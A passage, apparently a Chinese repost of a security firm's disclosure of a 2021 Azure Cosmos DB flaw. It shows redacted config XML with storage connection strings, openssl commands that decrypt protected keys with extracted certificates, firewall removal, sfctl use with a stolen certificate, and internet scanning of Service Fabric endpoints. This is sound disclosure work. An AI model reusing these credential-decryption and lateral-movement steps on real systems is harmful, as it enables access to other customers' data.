Value="xstore:BlobEndpoint=https://kssf2q<REDACTED>.blob.core.windows.net/;TableEndpoint=https://kssf2q<REDACTED>.table.core.windows.net/;AccountName=kssf2q<REDACTED>;ProtectedAccountKeyName=StorageAccountKey1"/></Section><Section Name="AzureBlobServiceFabricPerfCounter"><Parameter Name="ConsumerType" Value="AzureBlobFolderUploader"/><Parameter Name="ContainerName" Value="fabriccounters-83bd67e7-7bb1-4f4f-826f-<REDACTED>"/><Parameter Name="DataDeletionAgeInDays" Value="28"/><Parameter Name="IsEnabled" Value="true"/><Parameter Name="ProducerInstance" Value="ServiceFabricPerfCounter"/><Parameter Name="StoreConnectionString" Value="xstore:BlobEndpoint=https://kssf2q<REDACTED>.blob.core.windows.net/;TableEndpoint=https://kssf2q<REDACTED>.table.core.windows.net/;AccountName=kssf2q<REDACTED>;ProtectedAccountKeyName=StorageAccountKey1"/></Section><Section Name="AzureTableServiceFabricEtwQueryable"><Parameter Name="ConsumerType" Value="AzureTableQueryableEventUploader"/><Parameter Name="DataDeletionAgeInDays" Value="28"/><Parameter Name="IsEnabled" Value="true"/><Parameter Name="ProducerInstance" Value="ServiceFabricEtlFileQueryable"/><Parameter Name="StoreConnectionString" Value="xstore:BlobEndpoint=https://kssf2q<REDACTED>.blob.core.windows.net/;TableEndpoint=https://kssf2q<REDACTED>.table.core.windows.net/;AccountName=kssf2q<REDACTED>;ProtectedAccountKeyName=StorageAccountKey1"/><Parameter Name="TableNamePrefix" Value="fabriclog83bd67e77bb14f4f826f<REDACTED>"/></Section>

为了将来参考,这些是我们用来解密该protectedSettings部分的OpenSSL命令:

user@laptop:~/cosmos$ ls -latotal 144drwxr-xr-x 2 user user   4096 Aug  9 20:37 .drwxr-xr-x 3 user user   4096 Aug  9 19:53 ..-rw------- 1 user user 121900 Aug  9 18:32 ManagedCertificates.pem-rw------- 1 user user   3144 Aug  9 18:35 UnmanagedCertificates.pemuser@laptop:~/cosmos$ cat UnmanagedCertificates.pem | sed -n '/-----BEGIN PRIVATE KEY-----$/,/^-----END PRIVATE KEY-----$/p' > protected-key.pemuser@laptop:~/cosmos$ cat UnmanagedCertificates.pem | sed -n '/-----BEGIN CERTIFICATE-----$/,/^-----END CERTIFICATE-----$/p' > protected-cert.pemuser@laptop:~/cosmos$ echo MIIB0AYJKoZIhvcN...redacted...pqF8om/4fhhMgqGpu | base64 -d | openssl smime -inform DER -decrypt -recip protected-cert.pem -inkey protected-key.pem{"Placeholder":"NothingImportant"}user@laptop:~/cosmos$ echo MIICkwYJKoZIhvcN...redacted...pMd+kxSTnWwJLOwgl | base64 -d | openssl smime -inform DER -decrypt -recip protected-cert.pem -inkey protected-key.pem{"StorageAccountKey1":"55410uWV0y5X...redacted...XCUEN2upGg==","StorageAccountKey2":"kNY61/TqYr4r...redacted...KOvBat3NbQ=="}

我们使用 Azure存储资源管理器访问了这些存储帐户 ,发现了数百G的元数据和操作日志,以及关于Cosmos DB底层基础设施的数百万条记录:

然后我们注意到manifest.xml文件中描述 Service Fabric`节点的这一部分:

<NodeTypeName="CV2FI02"><Endpoints><ClientConnectionEndpointPort="19000"/><LeaseDriverEndpointPort="1026"/><ClusterConnectionEndpointPort="1025"/><HttpGatewayEndpointPort="19080"Protocol="https"/><ServiceConnectionEndpointPort="1027"/><ApplicationEndpointsStartPort="20000"EndPort="30000"/><EphemeralEndpointsStartPort="30001"EndPort="65534"/></Endpoints><Certificates><ClusterCertificateX509FindType="FindBySubjectName"X509FindValue="fabric.westus1.cosmos.azure.com"Name="Certificate"/><ServerCertificateX509FindType="FindBySubjectName"X509FindValue="fabric.westus1.cosmos.azure.com"Name="Certificate"/><ClientCertificateX509FindType="FindBySubjectName"X509FindValue="fabric.westus1.cosmos.azure.com"Name="Certificate"/></Certificates><PlacementProperties><PropertyName="JanusGraphCapable"Value="true"/><PropertyName="MaterializedViewsBuilderCapable"Value="true"/><PropertyName="NodeTypeName"Value="CV2FI02"/><PropertyName="NotebookCapable"Value="true"/><PropertyName="RingRoleName"Value="CV2FI"/></PlacementProperties><Capacities><CapacityName="ComputeUnits"Value="80"/><CapacityName="ServiceFabric:/_CpuCores"Value="80"/><CapacityName="ServiceFabric:/_MemoryInMB"Value="442367"/></Capacities></NodeType></NodeTypes><Infrastructure><PaaS><Roles><RoleRoleName="CV2CB01"NodeTypeRef="CV2CB01"RoleNodeCount="5"/><RoleRoleName="CV2CW02"NodeTypeRef="CV2CW02"RoleNodeCount="7"/><RoleRoleName="CV2FI02"NodeTypeRef="CV2FI02"RoleNodeCount="8"/></Roles><Votes><VoteNodeName="_CV2FI02_0"IPAddressOrFQDN="10.0.0.4"Port="1025"/><VoteNodeName="_CV2FI02_1"IPAddressOrFQDN="10.0.0.5"Port="1025"/><VoteNodeName="_CV2FI02_2"IPAddressOrFQDN="10.0.0.6"Port="1025"/><VoteNodeName="_CV2FI02_3"IPAddressOrFQDN="10.0.0.7"Port="1025"/><VoteNodeName="_CV2FI02_4"IPAddressOrFQDN="10.0.0.8"Port="1025"/><VoteNodeName="_CV2FI02_5"IPAddressOrFQDN="10.0.0.9"Port="1025"/><VoteNodeName="_CV2FI02_6"IPAddressOrFQDN="10.0.0.10"Port="1025"/></Votes></PaaS></Infrastructure>

如果到目前为止你一直在密切关注,你会记得我们的越狱包括从iptables中删除本地防火墙规则,这些规则阻止我们访问在上面的清单文件中看到的子网10.0.0.0/16。这意味着,我们现在可以自由访问它。这也意味着我们可以从我们的Jupyter Notebook容器通过端口 19080访问本地Service Fabric HttpGatewayEndpoint,正如清单文件所示,可以通过 fabric.westus1.cosmos.azure.com认证.

那么,Service Fabric到底是什么?根据 微软的文档,Azure Service Fabric是一个分布式系统平台,可以轻松打包、部署和管理可扩展且可靠的微服务和容器。因此,我们可以将其视为Kubernetes的替代品。

列出应用程序

我们执行sfctl命令行使用fabric.westus1.cosmos.azure.com证书连接到端口 19080 上的本地Service Fabric并对其进行身份验证。然后我们使用该sfctl application list命令列出正在运行的应用程序实例。

一下子列出该区域集群管理的所有Cosmos DB实例(超过 500 个!)的列表,包括那些不属于我们帐户的实例:

查看执行命令的输出,我们认为这些字段特别有趣:

  1. COSMOSDB_ACCOUNT_KEY_ENCRYPTED

  2. NOTEBOOK_AUTH_TOKEN_ENCRYPTED

  3. NOTEBOOK_STORAGE_ACCOUNT_KEY_ENCRYPTED

尽管这些密钥已加密(顾名思义),但我们拥有解密所需的证书:  abricsecrets.documents.azure.com. 这些是解密密钥的命令:

user@laptop:~/cosmos$ cat msg.p7mMIME-Version:1.0Content-Disposition: attachment; filename="./msg.p7m"Content-Type: application/x-pkcs7-mime; name="./msg.p7m"Content-Transfer-Encoding: base64MIICOgYJKoZIhvcNAQcDoIIC...redacted...6oYVI1iUIj9cS2K9JEQEvY1/A== // <--- COSMOSDB_ACCOUNT_KEY_ENCRYPTEDuser@laptop:~/cosmos$ openssl cms -decrypt -in msg.p7m -inkey ./fabricsecrets.documents.azure.com.key -recip ./fabricsecrets.documents.azure.com.crtEuFBNZOWMFIee...redacted...0G7W4iDZoQeCQQ== // <--- Plain-text for COSMOSDB_ACCOUNT_KEY_ENCRYPTED

影响

使用我们通过利用上述错误配置获得的信息,我们能够:

  1. 获取集群中运行的任何Cosmos DB实例的明文主密钥,使我们能够在未经任何授权的情况下查询和操作客户的数据库。这可以通过使用fabricsecrets.documents.azure.com的证书解密COSMOSDB_ACCOUNT_KEY_ENCRYPTED来完成 。

2, 获取集群中运行的任何Jupyter Notebook实例的明文身份验证令牌,使我们能够在未经任何授权的情况下在客户的Jupyter VM上执行任意代码。这可以通过使用fabricsecrets.documents.azure.com证书解密NOTEBOOK_STORAGE_ACCOUNT_KEY_ENCRYPTED 并访问位于NOTEBOOK_PROXY_PATHJupyter notebook来完成。

  1. 获取客户notebook存储账户的明文密码,使我们能够访问和操纵客户私人保存的notebook。这可以通过使用fabricsecrets.documents.azure.com的证书解密NOTEBOOK_STORAGE_ACCOUNT_KEY_ENCRYPTED,并在Azure存储资源管理器使用NOTEBOOK_STORAGE_FILE_ENDPOINT中的信息来完成。

  2. 获取*.notebook.cosmos.azure.com的证书,使我们能够拦截到这些端点的SSL流量。

  3. 通过访问内部Azure存储块获取有关Cosmos DB底层基础结构的元数据。

  4. 通过浏览到位于各种端点上的Service Fabric Explorer并使用fabric.westus1.cosmos.azure.com认证.

使用 NOTEBOOK_ STORAGE_ ACCOUNT_ KEY_ ENCRYPTED 访问客户的notebook存储

使用 NOTEBOOK_AUTH_TOKEN_ENCRYPTED 在 Notebook VM 上执行代码

从外部访问基础设施

之前提到了多个Azure存储帐户,我们认为这些帐户包含有关Cosmos DB底层基础结构的元数据信息。在查看这些日志文件后,我们注意到其中一些包含有关公共Service Fabrics的信息,这些信息应该可以从Internet访问(与之前需要的 LAN 访问相比)。

我们对 微软 的 ASN 上的端口 19080 进行了网络扫描,发现了 100 多个可通过此端口访问的Service Fabric实例。我们尝试使用之前获得的证书 (fabric.westus1.cosmos.azure.com) 连接到每一个Service Fabric,令我们惊讶的是,身份验证成功了!

仅使用一个证书,我们就成功地对可从 Internet 访问的多个区域的内部Service Fabric实例进行了身份验证。

以及在网络扫描中发现的部分Service Fabric实例列表:

结论

通过利用Cosmos DBJupyter notebook容器功能中的一系列错误配置,我们设法获得了对客户的Azure Cosmos DB实例的未授权访问。我们能够通过多个身份验证令牌和 API 密钥证明对数千家公司的Cosmos DB实例(数据库、notebook环境、notebook存储)的访问权限,具有完全的管理员控制权。受影响的客户中不乏世界 500 强企业。我们还设法获得了对运行 Cosmos DB 的底层基础设施的访问权限,并且我们能够证明这种访问可以在易受攻击的应用程序之外通过 Internet 进行维持。总的来说,我们认为这已经接近“服务接管”了。

披露时间表

  • 2021 年 8 月 9 日 - Wiz 研究团队首先利用了该漏洞并获得了对 Cosmos DB 帐户的未授权访问权限。

  • 2021 年 8 月 11 日 - Wiz 研究团队确认与 Wiz 客户有交集。

  • 2021 年 8 月 12 日 - Wiz 研究团队向 微软 发送了咨询。

  • 2021 年 8 月 14 日 - Wiz 研究团队观察到易受攻击的功能已被禁用。

  • 2021 年 8 月 16 日 - 微软 安全响应中心 (MSRC) 确认报告的行为(MSRC 案例 66805)。

  • 2021 年 8 月 16 日 - Wiz 研究团队观察到一些获得的证书已被撤销。

  • 2021 年 8 月 17 日 - MSRC 为该报告提供了 40,000 美元的赏金。

  • 2021 年 8 月 23 日 - MSRC 确认数千名客户受到影响。

  • 2021 年 8 月 23 日 - MSRC 和 Wiz 研究团队讨论了公开披露策略。

  • 2021 年 8 月 25 日 - 公开披露。

请点一下右下角的“在看”,谢谢!!

请帮忙点赞, 谢谢!!

请帮忙转发,谢谢!!

暗号: 125408

相关推荐
关注或联系我们
添加百川云公众号,移动管理云安全产品
咨询热线:
4000-327-707
百川公众号
百川公众号
百川云客服
百川云客服

Copyright ©2024 北京长亭科技有限公司
icon
京ICP备 2024055124号-2